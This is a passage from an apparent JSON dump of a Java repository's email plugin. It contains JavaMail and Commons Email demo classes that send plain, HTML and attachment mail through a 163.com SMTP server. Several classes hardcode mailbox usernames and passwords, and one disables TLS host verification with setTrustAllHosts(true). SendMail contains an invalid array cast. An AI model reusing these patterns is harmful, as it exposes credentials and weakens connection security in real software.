Date());\n\t\t\tmessage.saveChanges();\n\t\t\tTransport transport = session.getTransport();\n\t\t\ttransport.connect(user, password);\n\t\t\ttransport.sendMessage(message, message.getAllRecipients());\n\t\t\ttransport.close();\n\t\t} catch (Exception e) {\n\t\t\t// LogUtil.error(e);\n\t\t}\n\t}\n\n\tprivate static void sendHtmlMail(String fromMail, String user, String password, String toMail, String mailTitle,\n\t\t\tString mailContent) {\n\t\ttry {\n\t\t\t// String hostIP = ServerInfoCache.instance().getHostIP();\n\t\t\t// String hostName = ServerInfoCache.instance().getHostName();\n\t\t\t// String SERVER_INFO = String.format(\"SERVER IP -> [%s] - SERVER NAME -> [%s]\n\t\t\t// %s \", hostIP, hostName);\n\n\t\t\tMailSSLSocketFactory sf = new MailSSLSocketFactory();\n\t\t\tsf.setTrustAllHosts(true);\n\n\t\t\tProperties props = new Properties();\n\t\t\tprops.put(\"mail.smtp.host\", \"mail.163.com\");\n\t\t\tprops.put(\"mail.smtp.port\", 465);\n\t\t\tprops.put(\"mail.transport.protocol\", \"smtp\");\n\t\t\tprops.put(\"mail.smtp.auth\", \"true\");\n\t\t\tprops.put(\"mail.smtp.ssl.enable\", \"true\");\n\t\t\tprops.put(\"mail.smtp.ssl.socketFactory\", sf);\n\n\t\t\tSession session = Session.getInstance(props);\n\n\t\t\tMimeMessage message = new MimeMessage(session);\n\t\t\tmessage.setFrom(new InternetAddress(fromMail));\n\t\t\tmessage.setRecipient(Message.RecipientType.TO, new InternetAddress(toMail));\n\t\t\tmessage.setSubject(mailTitle);\n\t\t\tmessage.setContent(mailContent, \"text/html\");\n\t\t\tmessage.setSentDate(new Date());\n\t\t\tmessage.saveChanges();\n\t\t\tTransport transport = session.getTransport();\n\t\t\ttransport.connect(user, password);\n\t\t\ttransport.sendMessage(message, message.getAllRecipients());\n\t\t\ttransport.close();\n\t\t} catch (Exception e) {\n\t\t\t// LogUtil.error(e);\n\t\t}\n\t}\n\n\tpublic static void sendMail(String email, String emailMsg) throws AddressException, MessagingException {\n\t\tProperties props = new Properties();\n\t\tprops.setProperty(\"mail.transport.protocol\", \"SMTP\");\n\t\tprops.setProperty(\"mail.host\", \"smtp.163.com\");\n\t\tprops.setProperty(\"mail.smtp.auth\", \"true\");// 指定验证为true\n\t\tAuthenticator auth = new Authenticator() {\n\t\t\tpublic PasswordAuthentication getPasswordAuthentication() {\n\t\t\t\treturn new PasswordAuthentication(\"jsjs9494@163.com\", \"password.jsjs\");\n\t\t\t}\n\t\t};\n\t\tSession session = Session.getInstance(props, auth);\n\t\tMessage message = new MimeMessage(session);\n\t\tmessage.setFrom(new InternetAddress(\"jsjs9494@163.com\"));\n\t\tmessage.setRecipient(RecipientType.TO, new InternetAddress(email));\n\t\tmessage.setSubject(\"用户注册确认邮件\");\n\t\t// message.setText(\"这是封激活邮件，<a href='#'>点击</a>\");\n\t\tmessage.setContent(emailMsg, \"text/html;charset=utf-8\");\n\t\tTransport.send(message);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/mail/SendAttechmentDemo.java",
    "content": "package com.jun.plugin.mail;\n\nimport java.io.File;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.Authenticator;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\n\nimport org.junit.Test;\n\npublic class SendAttechmentDemo {\n\t@Test\n\tpublic void sendFile() throws Exception{\n\t\tProperties p = new Properties();\n\t\tp.setProperty(\"mail.host\",\"smtp.163.com\");\n\t\tp.setProperty(\"mail.smtp.auth\",\"true\");\n\t\tSession s = Session.getDefaultInstance(p,new Authenticator() {\n\t\t\t@Override\n\t\t\tpublic PasswordAuthentication getPasswordAuthentication() {\n\t\t\t\treturn new PasswordAuthentication(\"wj_leaf12345\", \"1qaz2wsx\");\n\t\t\t}\n\t\t});\n\t\ts.setDebug(true);\n\t\t\n\t\t\n\t\t//声明MimeMessage\n\t\tMimeMessage msg = new MimeMessage(s);\n\t\tmsg.setFrom(new InternetAddress(\"wj_leaf12345@163.com\"));\n\t\tmsg.setRecipient(RecipientType.TO, new InternetAddress(\"wj_leaf12345@126.com\"));\n\t\tmsg.setSubject(\"图片的\");\n\t\t\n\t\t//第一步：声明多处理的Part\n\t\tMimeMultipart mm = new MimeMultipart();\n\t\t\n\t\t//第二步：声明\n\t\tMimeBodyPart body1 = new MimeBodyPart();\n\t\t//第三步：设置符件\n\t\tDataSource ds = new FileDataSource(new File(\"./img/a.jpg\"));\n\t\tDataHandler dh = new DataHandler(ds);\n\t\tbody1.setDataHandler(dh);\n\t\t//必须要设置名称\n\t\tbody1.setFileName(MimeUtility.encodeText(\"美女.jpg\"));\n\t\t\n\t\t\n\t\tMimeBodyPart body2 = new MimeBodyPart();\n\t\t//第三步：设置符件\n\t\tDataSource ds2 = new FileDataSource(new File(\"./img/b.jpg\"));\n\t\tDataHandler dh2 = new DataHandler(ds2);\n\t\tbody2.setDataHandler(dh2);\n\t\t//必须要设置名称\n\t\tbody2.setFileName(MimeUtility.encodeText(\"美女2.jpg\"));\n\t\t\n\t\t\n\t\tMimeBodyPart body3 = new MimeBodyPart();\n\t\t//第三步：设置符件\n\t\tDataSource ds3 = new FileDataSource(new File(\"./img/m.mp3\"));\n\t\tDataHandler dh3 = new DataHandler(ds3);\n\t\tbody3.setDataHandler(dh3);\n\t\t//必须要设置名称\n\t\tbody3.setFileName(MimeUtility.encodeText(\"世纪末.mp3\"));\n\t\t\n\t\t//将body1添加到mm\n\t\tmm.addBodyPart(body1);\n\t\tmm.addBodyPart(body2);\n\t\tmm.addBodyPart(body3);\n\t\t\n\t\tmsg.setContent(mm);\n\t\t\n\t\t//发送\n\t\tTransport.send(msg);\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/mail/SendMail.java",
    "content": "package com.jun.plugin.mail;\n\nimport java.util.Properties;\n\nimport javax.mail.Address;\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\npublic class SendMail extends Thread {\n\n\n\tpublic void run() {\n\t\ttry {\n\t\t\tProperties props = new Properties();// key和value的参数，用于发送邮件时使用\n\t\t\tprops.setProperty(\"mail.transport.protocol\", \"smtp\");// 使用的发送协议\n\t\t\tprops.setProperty(\"mail.host\", \"smtp.163.com\");// 发件服务器地址\n\t\t\tprops.setProperty(\"mail.smtp.auth\", \"true\");// 请求认证。如果不认证，有可能不能发送邮件\n\t\t\tSession session = Session.getInstance(props);\n\t\t\tMimeMessage msg = new MimeMessage(session);\n\t\t\t// 设置邮件的头\n\t\t\tmsg.setFrom(new InternetAddress(\"itheimacloud@163.com\"));\n\t\t\t// msg.setRecipients(Message.RecipientType.TO, customer.getEmail());\n\t\t\tmsg.setRecipients(Message.RecipientType.TO, (Address[]) new Object[2]);\n\t\t\tmsg.setSubject(\"来自训练营的激活邮件\");\n\t\t\t// 设置邮件的内容\n\t\t\tmsg.setContent(\n\t\t\t\t\t\"亲爱的小伙伴：<br/>恭喜您注册成为我们的一员，请猛戳<a href='http://localhost:8080/OA/login/LoginServlet?op=active&activeCode=customer.getActiveCode()\"\n\t\t\t\t\t\t\t+ 1 + \"'>这里</a>激活您的账户。\",\n\t\t\t\t\t\"text/html;charset=UTF-8\");\n\n\t\t\tmsg.saveChanges();\n\t\t\tTransport ts = session.getTransport();\n\t\t\tts.connect(\"itheimacloud\", \"iamsorry\");\n\t\t\tts.sendMessage(msg, msg.getAllRecipients());\n\t\t\tts.close();\n\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/mail/SendMail2.java",
    "content": "package com.jun.plugin.mail;\n\nimport java.util.Properties;\n\nimport javax.mail.*;\nimport javax.mail.internet.*;\n/**发送邮件*/\npublic class SendMail2 {\n\tpublic SendMail2(String updatetimeinfo,String userName,String userKey,String destMailAdress) {\n\t\tProperties props = new Properties();\n\t\t// 开启debug调试\n\t\tprops.setProperty(\"mail.debug\", \"false\");\n\t\t// 发送服务器需要身份验证\n\t\tprops.setProperty(\"mail.smtp.auth\", \"true\");\n\t\t// 设置邮件服务器主机名\n\t\tprops.setProperty(\"mail.host\", \"smtp.163.com\");\n\t\t// 发送邮件协议名称\n\t\tprops.setProperty(\"mail.transport.protocol\", \"smtp\");\n\t\ttry {\n\t\t\t// 设置环境信息\n\t\t\tSession session = Session.getInstance(props);\n\t\t\t// 创建邮件对象\n\t\t\tMessage msg = new MimeMessage(session);\n\t\t\tmsg.setSubject(\"Hosts Update Notify\"+updatetimeinfo);\n\t\t\t// 设置邮件内容\n\t\t\tmsg.setText(\"Update Successfully\\nVersion：\\n\"+updatetimeinfo+\"\\n\");\n\t\t\t// 设置发件人\n\t\t\tmsg.setFrom(new InternetAddress(userName+\"@163.com\"));\n\t\t\tTransport transport = session.getTransport();\n\t\t\t// 连接邮件服务器\n\t\t\ttransport.connect(userName, userKey);\n\t\t\t// 发送邮件\n\t\t\ttransport.sendMessage(msg, new Address[] { new InternetAddress(\n\t\t\t\t\tdestMailAdress) });\n\t\t\t// 关闭连接\n\t\t\ttransport.close();\n\t\t} catch (MessagingException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/mail/SendMailDemo.java",
    "content": "package com.jun.plugin.mail;\n\nimport java.util.Properties;\n\nimport javax.mail.Address;\nimport javax.mail.Authenticator;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\nimport org.junit.Test;\n\npublic class SendMailDemo {\n\t//发一封最简单的邮件\n\t@Test\n\tpublic void sendMail() throws Exception{\n\t\t//第一步：声明properties对象放信息\n\t\tProperties prop = new Properties();\n\t\t//设置连接哪一台服务器\n\t\tprop.setProperty(\"mail.host\",\"127.0.0.1\");\n\t\t//设置是否验证\n\t\tprop.setProperty(\"mail.smtp.auth\", \"true\");\n\t\t//第二步：声明用户名和密码\n\t\tAuthenticator auth = new Authenticator() {\n\t\t\t//此访求返回用户和密码的对象\n\t\t\tpublic PasswordAuthentication getPasswordAuthentication() {\n\t\t\t\tPasswordAuthentication pa = \n\t\t\t\t\t\tnew PasswordAuthentication(\"one\", \"1234\");\n\t\t\t\treturn pa;\n\t\t\t}\n\t\t};\n\t\t////第二步：获取Session对象\n\t\tSession session = \n\t\t\t\tSession.getDefaultInstance(prop,auth);\n\t\t//设置session的调试模式\n\t\tsession.setDebug(true);\n\t\t//第三步：声明信息\n\t\tMimeMessage mm1 = \n\t\t\t\tnew MimeMessage(session);\n\t\t\n\t\t//第四步：设置发件人email\n\t\tAddress from = new InternetAddress(\"one@wj.com\");\n\t\tmm1.setFrom(from);\n\t\t//第五步：设置收件人\n\t\tmm1.setRecipient(RecipientType.TO,new InternetAddress(\"two@wj.com\"));\n\t\t//mm1.setRecipient(RecipientType.CC, new InternetAddress(\"549051701@qq.com\"));\n\t\t//mm1.setRecipient(RecipientType.BCC, new InternetAddress(\"wj@itcast.cn\"));\n\t\t//第六步：设置主题\n\t\tmm1.setSubject(\"这是用Java发One.....的邮件sfasdf3\");\n\t\tmm1.setContent(\"你好，这是用java发的邮件,<a href='http://www.baidu.com'>传智</a>\", \"text/html;charset=UTF-8\");\n\t\t\n\t\t//第七步：\n\t\tTransport.send(mm1);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/net/mail/mail/SendAttechmentDemo.java",
    "content": "package com.jun.plugin.net.mail.mail;\n\nimport java.io.File;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.Authenticator;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\n\nimport org.junit.Test;\n\npublic class SendAttechmentDemo {\n\t@Test\n\tpublic void sendFile() throws Exception{\n\t\tProperties p = new Properties();\n\t\tp.setProperty(\"mail.host\",\"smtp.163.com\");\n\t\tp.setProperty(\"mail.smtp.auth\",\"true\");\n\t\tSession s = Session.getDefaultInstance(p,new Authenticator() {\n\t\t\t@Override\n\t\t\tpublic PasswordAuthentication getPasswordAuthentication() {\n\t\t\t\treturn new PasswordAuthentication(\"wj_leaf12345\", \"1qaz2wsx\");\n\t\t\t}\n\t\t});\n\t\ts.setDebug(true);\n\t\t\n\t\t\n\t\t//声明MimeMessage\n\t\tMimeMessage msg = new MimeMessage(s);\n\t\tmsg.setFrom(new InternetAddress(\"wj_leaf12345@163.com\"));\n\t\tmsg.setRecipient(RecipientType.TO, new InternetAddress(\"wj_leaf12345@126.com\"));\n\t\tmsg.setSubject(\"图片的\");\n\t\t\n\t\t//第一步：声明多处理的Part\n\t\tMimeMultipart mm = new MimeMultipart();\n\t\t\n\t\t//第二步：声明\n\t\tMimeBodyPart body1 = new MimeBodyPart();\n\t\t//第三步：设置符件\n\t\tDataSource ds = new FileDataSource(new File(\"./img/a.jpg\"));\n\t\tDataHandler dh = new DataHandler(ds);\n\t\tbody1.setDataHandler(dh);\n\t\t//必须要设置名称\n\t\tbody1.setFileName(MimeUtility.encodeText(\"美女.jpg\"));\n\t\t\n\t\t\n\t\tMimeBodyPart body2 = new MimeBodyPart();\n\t\t//第三步：设置符件\n\t\tDataSource ds2 = new FileDataSource(new File(\"./img/b.jpg\"));\n\t\tDataHandler dh2 = new DataHandler(ds2);\n\t\tbody2.setDataHandler(dh2);\n\t\t//必须要设置名称\n\t\tbody2.setFileName(MimeUtility.encodeText(\"美女2.jpg\"));\n\t\t\n\t\t\n\t\tMimeBodyPart body3 = new MimeBodyPart();\n\t\t//第三步：设置符件\n\t\tDataSource ds3 = new FileDataSource(new File(\"./img/m.mp3\"));\n\t\tDataHandler dh3 = new DataHandler(ds3);\n\t\tbody3.setDataHandler(dh3);\n\t\t//必须要设置名称\n\t\tbody3.setFileName(MimeUtility.encodeText(\"世纪末.mp3\"));\n\t\t\n\t\t//将body1添加到mm\n\t\tmm.addBodyPart(body1);\n\t\tmm.addBodyPart(body2);\n\t\tmm.addBodyPart(body3);\n\t\t\n\t\tmsg.setContent(mm);\n\t\t\n\t\t//发送\n\t\tTransport.send(msg);\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/net/mail/mail/SendMailDemo.java",
    "content": "package com.jun.plugin.net.mail.mail;\n\nimport java.util.Properties;\n\nimport javax.mail.Address;\nimport javax.mail.Authenticator;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\nimport org.junit.Test;\n\npublic class SendMailDemo {\n\t//发一封最简单的邮件\n\t@Test\n\tpublic void sendMail() throws Exception{\n\t\t//第一步：声明properties对象放信息\n\t\tProperties prop = new Properties();\n\t\t//设置连接哪一台服务器\n\t\tprop.setProperty(\"mail.host\",\"127.0.0.1\");\n\t\t//设置是否验证\n\t\tprop.setProperty(\"mail.smtp.auth\", \"true\");\n\t\t//第二步：声明用户名和密码\n\t\tAuthenticator auth = new Authenticator() {\n\t\t\t//此访求返回用户和密码的对象\n\t\t\tpublic PasswordAuthentication getPasswordAuthentication() {\n\t\t\t\tPasswordAuthentication pa = \n\t\t\t\t\t\tnew PasswordAuthentication(\"one\", \"1234\");\n\t\t\t\treturn pa;\n\t\t\t}\n\t\t};\n\t\t////第二步：获取Session对象\n\t\tSession session = \n\t\t\t\tSession.getDefaultInstance(prop,auth);\n\t\t//设置session的调试模式\n\t\tsession.setDebug(true);\n\t\t//第三步：声明信息\n\t\tMimeMessage mm1 = \n\t\t\t\tnew MimeMessage(session);\n\t\t\n\t\t//第四步：设置发件人email\n\t\tAddress from = new InternetAddress(\"one@wj.com\");\n\t\tmm1.setFrom(from);\n\t\t//第五步：设置收件人\n\t\tmm1.setRecipient(RecipientType.TO,new InternetAddress(\"two@wj.com\"));\n\t\t//mm1.setRecipient(RecipientType.CC, new InternetAddress(\"549051701@qq.com\"));\n\t\t//mm1.setRecipient(RecipientType.BCC, new InternetAddress(\"wj@itcast.cn\"));\n\t\t//第六步：设置主题\n\t\tmm1.setSubject(\"这是用Java发One.....的邮件sfasdf3\");\n\t\tmm1.setContent(\"你好，这是用java发的邮件,<a href='http://www.baidu.com'>传智</a>\", \"text/html;charset=UTF-8\");\n\t\t\n\t\t//第七步：\n\t\tTransport.send(mm1);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/commons_email/EmailHtml.java",
    "content": "/**\n * @author Wujun\n **/\n\npackage com.jun.plugin.plugin.email.commons_email;\n\nimport java.net.URL;\n\nimport org.apache.commons.mail.HtmlEmail;\n\n\npublic class  EmailHtml {\n\tpublic static void main(String[] args) throws Exception {\n\t\t// Create the email message\n\t\tHtmlEmail email = new HtmlEmail();\n\t\t//email.setSmtpPort(587);\n\t\temail.setHostName(\"smtp.163.com\");\n\t\temail.setStartTLSEnabled(true);\n\t\t//email.setSSLOnConnect(true);\n\t\temail.setFrom(\"jsjs9494@163.com\", \"Html 邮件  009 \");\n\t\temail.setAuthentication(\"jsjs9494@163.com\", \"password.jsjs\");\n\t\t\n\t\temail.addTo(\"245783660@qq.com\", \"QQ用户\");\n\t\t\n\t\temail.setSubject(\"Html 邮件测试\");\n\n\t\t// embed the image and get the content id\n\t\tURL url = new URL(\"http://www.apache.org/images/asf_logo_wide.gif\");\n\t\tString cid = email.embed(url, \"Apache logo\");\n\n\t\t// set the html message\n\t\temail.setHtmlMsg(\"<html><h1>Html 邮件测试</h1>The apache logo - <img src=\\\"cid:\" + cid\n\t\t\t\t+ \"\\\"></html>\");\n\n\t\t// set the alternative message\n\t\temail.setTextMsg(\"Your email client does not support HTML messages\");\n\n\t\t// send the email\n\t\temail.send();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/demo/dto/MimeMessageDTO.java",
    "content": "package com.jun.plugin.plugin.email.demo.dto;\n\nimport java.util.Date;\n\n\n/**\n * 上午9:29:51\n * \n * @version V1.0\n */\npublic class MimeMessageDTO {\n\t/**   \n\t * 变量名 subject: TODO 邮件标题\n\t */   \n\tprivate String subject;\n\t\n\t/**   \n\t * 变量名 sentDate: TODO 邮件日期\n\t */   \n\tprivate Date sentDate;\n\t\n\t/**   \n\t * 变量名 text: TODO 邮件内容\n\t */   \n\tprivate String text;\n\n\t/** \n\t * 方法名: initMimeMessage \n\t * 功能描述: TODO 初始化\n\t * @param: @param subject\n\t * @param: @param date\n\t * @param: @param text\n\t * @param: @return  \n\t * @return: MimeMessageDTO \n\t */\n\tpublic MimeMessageDTO initMimeMessage(String subject, Date date, String text) {\n\t\treturn new MimeMessageDTO(subject, date, text);\n\t}\n\t\n\tpublic MimeMessageDTO() {\n\t\tsuper();\n\t}\n\n\tpublic MimeMessageDTO(String subject, Date sentDate, String text) {\n\t\tsuper();\n\t\tthis.subject = subject;\n\t\tthis.sentDate = sentDate;\n\t\tthis.text = text;\n\t}\n\n\tpublic String getSubject() {\n\t\treturn subject;\n\t}\n\n\tpublic void setSubject(String subject) {\n\t\tthis.subject = subject;\n\t}\n\n\tpublic Date getSentDate() {\n\t\treturn sentDate;\n\t}\n\n\tpublic void setSentDate(Date sentDate) {\n\t\tthis.sentDate = sentDate;\n\t}\n\n\tpublic String getText() {\n\t\treturn text;\n\t}\n\n\tpublic void setText(String text) {\n\t\tthis.text = text;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/demo/test/MailUtils.java",
    "content": "package com.jun.plugin.plugin.email.demo.test;\n\nimport java.io.UnsupportedEncodingException;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.FileDataSource;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.AddressException;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\n\n/** \n * Java Mail 工具类 \n *  \n * @author Wujun\n * @version 1.0 \n *  \n */  \npublic class MailUtils {  \n    private static String host;  \n    private static String username;  \n    private static String password;  \n    private static String from;  \n    private static String nick;  \n  \n    static {  \n        try {  \n            // Test Data  \n            host = \"smtp.163.com\";  \n            username = \"jsjs9494@163.com\";  \n            password = \"password.jsjs\";  \n            from = \"jsjs9494@163.com\";  \n            nick = \"测试admin\";  \n            // nick + from 组成邮箱的发件人信息  \n        } catch (Exception e) {  \n            e.printStackTrace();  \n        }  \n    }  \n  \n    /** \n     * 发送邮件 \n     *  \n     * @param to \n     *            收件人列表，以\",\"分割 \n     * @param subject \n     *            标题 \n     * @param body \n     *            内容 \n     * @param filepath \n     *            附件列表,无附件传递null \n     * @return \n     * @throws MessagingException \n     * @throws AddressException \n     * @throws UnsupportedEncodingException \n     */  \n    public static boolean sendMail(String to, String subject, String body,  \n            List<String> filepath) throws AddressException, MessagingException,  \n            UnsupportedEncodingException {  \n        // 参数修饰  \n        if (body == null) {  \n            body = \"\";  \n        }  \n        if (subject == null) {  \n            subject = \"无主题\";  \n        }  \n        // 创建Properties对象  \n        Properties props = System.getProperties();  \n        // 创建信件服务器  \n        props.put(\"mail.smtp.host\", host);  \n        props.put(\"mail.smtp.auth\", \"true\"); // 通过验证  \n        // 得到默认的对话对象  \n        Session session = Session.getDefaultInstance(props, null);  \n        // 创建一个消息，并初始化该消息的各项元素  \n        MimeMessage msg = new MimeMessage(session);  \n        nick = MimeUtility.encodeText(nick);  \n        msg.setFrom(new InternetAddress(nick + \"<\" + from + \">\"));  \n        // 创建收件人列表  \n        if (to != null && to.trim().length() > 0) {  \n            String[] arr = to.split(\",\");  \n            int receiverCount = arr.length;  \n            if (receiverCount > 0) {  \n                InternetAddress[] address = new InternetAddress[receiverCount];  \n                for (int i = 0; i < receiverCount; i++) {  \n                    address[i] = new InternetAddress(arr[i]);  \n                }  \n                msg.addRecipients(Message.RecipientType.TO, address);  \n                msg.setSubject(subject);  \n                // 后面的BodyPart将加入到此处创建的Multipart中  \n                Multipart mp = new MimeMultipart();  \n                // 附件操作  \n                if (filepath != null && filepath.size() > 0) {  \n                    for (String filename : filepath) {  \n                        MimeBodyPart mbp = new MimeBodyPart();  \n                        // 得到数据源  \n                        FileDataSource fds = new FileDataSource(filename);  \n                        // 得到附件本身并至入BodyPart  \n                        mbp.setDataHandler(new DataHandler(fds));  \n                        // 得到文件名同样至入BodyPart  \n                        mbp.setFileName(fds.getName());  \n                        mp.addBodyPart(mbp);  \n                    }  \n                    MimeBodyPart mbp = new MimeBodyPart();  \n                    mbp.setText(body);  \n                    mp.addBodyPart(mbp);  \n                    // 移走集合中的所有元素  \n                    filepath.clear();  \n                    // Multipart加入到信件  \n                    msg.setContent(mp);  \n                } else {  \n                    // 设置邮件正文  \n                    msg.setText(body);  \n                }  \n                // 设置信件头的发送日期  \n                msg.setSentDate(new Date());  \n                msg.saveChanges();  \n                // 发送信件  \n                Transport transport = session.getTransport(\"smtp\");  \n                transport.connect(host, username, password);  \n                transport.sendMessage(msg,  \n                        msg.getRecipients(Message.RecipientType.TO));  \n                transport.close();  \n                return true;  \n            } else {  \n                System.out.println(\"None receiver!\");  \n                return false;  \n            }  \n        } else {  \n            System.out.println(\"None receiver!\");  \n            return false;  \n        }  \n    }  \n  \n    public static void main(String[] args) throws AddressException,  \n            UnsupportedEncodingException, MessagingException {  \n        List<String> filepath = new ArrayList<>();  \n        filepath.add(\"E:\\\\books.xml\");  \n        filepath.add(\"E:\\\\books.xml\");  \n        sendMail(\"245783660@qq.com,wujun728@163.com\", \"注册信息邮件\", \"注册邮件，有附件\",  filepath);  \n    }  \n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/demo/test/mailTest.java",
    "content": "package com.jun.plugin.plugin.email.demo.test;\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.plugin.email.demo.dto.MimeMessageDTO;\nimport com.jun.plugin.plugin.email.demo.util.MailUtil;\n\npublic class mailTest {\n\n\t@Test\n\tpublic void testSendEmail() {\n\n\t\t// //测试163邮箱\n\t\t// 测试qq邮箱\n\t\t// 新浪邮箱 13077403326m@sina.cn\n\t\t// 139邮箱 13077403326@139.com\n\n\t\tString userName = \"jsjs9494@163.com\"; // 用户邮箱地址\n\t\tString password = \"password.jsjs\"; // 密码或者授权码\n\t\tString targetAddress = \"245783660@qq.com\"; // 接受者邮箱地址\n\n\t\t// 设置邮件内容\n\t\tMimeMessageDTO mimeDTO = new MimeMessageDTO();\n\t\tmimeDTO.setSentDate(new Date());\n\t\tmimeDTO.setSubject(\"邮件的标题\");\n\t\tmimeDTO.setText(\"邮件的内容<img src='http://static.oschina.net/uploads/user/111/223750_100.jpg'>\"\n\t\t\t\t+ targetAddress);\n\n//\t\t// 发送单邮件\n//\t\tif (MailUtil.sendEmail(userName, password, targetAddress, mimeDTO)) {\n//\t\t\tSystem.out.println(\"邮件发送成功！\");\n//\t\t} else {\n//\t\t\tSystem.out.println(\"邮件发送失败!!!\");\n//\t\t}\n\t\t// 发送单邮件(附件)\n\t\tList<String> filepath=new ArrayList<String>();\n\t\tfilepath.add(\"D:/book.xml\");\n\t\tfilepath.add(\"D:/book.xml\");\n//\t\tfilepath.add(\"D:/test.xls\");\n//\t\tif (MailUtil.sendEmailByFile(userName, password, targetAddress, mimeDTO,filepath)) {\n//\t\t\tSystem.out.println(\"邮件发送成功！\");\n//\t\t} else {\n//\t\t\tSystem.out.println(\"邮件发送失败!!!\");\n//\t\t}\n\t\t// 群发邮件\n\t\ttargetAddress = \"wujun728@163.com,245783660@qq.com\";\n//\t\tif (MailUtil.sendGroupEmail(userName, password, targetAddress, mimeDTO)) {\n//\t\t\tSystem.out.println(\"邮件发送成功！\");\n//\t\t} else {\n//\t\t\tSystem.out.println(\"邮件发送失败!!!\");\n//\t\t}\n//\t\t// 群发邮件(附件)\n\t\tif (MailUtil.sendGroupEmailByFile(userName, password, targetAddress, mimeDTO,filepath)) {\n\t\t\tSystem.out.println(\"邮件发送成功！\");\n\t\t} else {\n\t\t\tSystem.out.println(\"邮件发送失败!!!\");\n\t\t}\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/demo/util/MailUtil.java",
    "content": "package com.jun.plugin.plugin.email.demo.util;\n\nimport java.util.List;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.FileDataSource;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\n\nimport com.jun.plugin.plugin.email.demo.dto.MimeMessageDTO;\n\n/**\n * 类名称:  mailUtil\n * 功能描述: TODO 邮件发送例子\n * 创建人:  Gavin-Nie \n * 创建时间: 2014-12-4 上午9:20:16 \n * @version  V1.0  \n */\npublic class MailUtil {\n\t\n\t/**   \n\t * 变量名 userName: TODO 邮箱用户名\n\t */   \n\tprivate String userName;\n\t\n\t/**   \n\t * 变量名 password: TODO 邮箱地址\n\t */   \n\tprivate String password;\n\t\n\t/**   \n\t * 变量名 smtpHost: TODO 邮箱smtp地址，发送地址\n\t */   \n\tprivate String smtpHost;\n\t\n\t/**   \n\t * 变量名 targetAddress: TODO 目标邮箱地址\n\t */   \n\tprivate String targetAddress;\n\t\n\t/**\n\t *  发送单邮件\n\t * @param userName\n\t * @param password\n\t * @param targetAddress\n\t * @param mimeDTO\n\t * @return\n\t */\n\tpublic  static boolean sendEmail(String userName,String password,String targetAddress,\n\t\t\tMimeMessageDTO mimeDTO){\n\t\treturn publicsendEmail(userName,password,targetAddress,mimeDTO,false,null);\n\t}\n\t/**\n\t * 发送单邮件(附件)\n\t * @param userName\n\t * @param password\n\t * @param targetAddress\n\t * @param mimeDTO\n\t * @param filepath        文件本地绝对路径\n\t * @return\n\t */\n\tpublic  static boolean sendEmailByFile(String userName,String password,String targetAddress,\n\t\t\tMimeMessageDTO mimeDTO,List<String> filepath){\n\t\treturn publicsendEmail(userName,password,targetAddress,mimeDTO,true,filepath);\n\t}\n\t/**\n\t * 群发邮件 \n\t * @param userName\n\t * @param 